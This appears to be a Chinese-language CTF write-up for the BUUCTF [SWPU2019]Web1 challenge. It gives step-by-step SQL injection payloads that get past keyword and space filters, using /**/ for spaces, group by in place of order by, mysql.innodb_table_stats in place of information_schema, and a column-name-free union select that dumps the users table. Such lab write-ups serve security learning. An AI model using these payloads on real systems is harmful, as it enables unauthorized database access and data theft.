在登陆界面用sql注入的各种手段都没用,注册进去看看
抓包后发现数据包有点像xss,也能使它d窗,但是好像没什么用
用标题1' 会有关于sql语句的d窗(但是如果抓包就不会出现)
也能说明是单引号闭合(1"就不行,能知道是sql注入也不容易)
闭合语句的时候出了问题(1'#,1'--+)
1'%23不会被过滤,但是好像起不到闭合的作用
有一个小细节之前一直忘记了:
用#闭合的是后面的内容,而这道题需要闭合的后面的内容就是单引号,所以后面加一个单引号就行
1''
成功闭合
1' order by 100'
测试一下过滤了哪些关键词
or,order
1' union select 1,2,3'
空格被删除了,但是没有报错,可以用/**/代替
1'/**/union/**/select/**/1,2,3'
说明路线是正确的,再试出字段就行,但是数字试到8报错信息都一样,看了下wp,是22列(真的没想到有这么多列),用这个方法用起来就有些麻烦了,但是也可以用,要多尝试
order被过滤了,可以尝试用group
1'/**/group/**/by/**/1,'(要加一个逗号才能过,不然会报语句错误,为啥)
1'/**/group/**/by/**/22,'
尝试后就知道是22列
测试回显位
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
group_concat(schema_name) from information_schema.schemata
想用这个语句查数据库,但是information被过滤了,更具体说应该还是or
直接查表吧,查数据库的语句没找到
information_schema.tables用mysql.innodb_table_stats代替
table_schema用database_name代替
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
接下来要查列名
没有关于列名的mysql.innodb_column_stats这个方法,就只能用无列名注入了,不是很懂
(97条消息) buuctf [SWPU2019]Web1 1_wow小华的博客-CSDN博客
这是别人的wp,说的挺好的
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)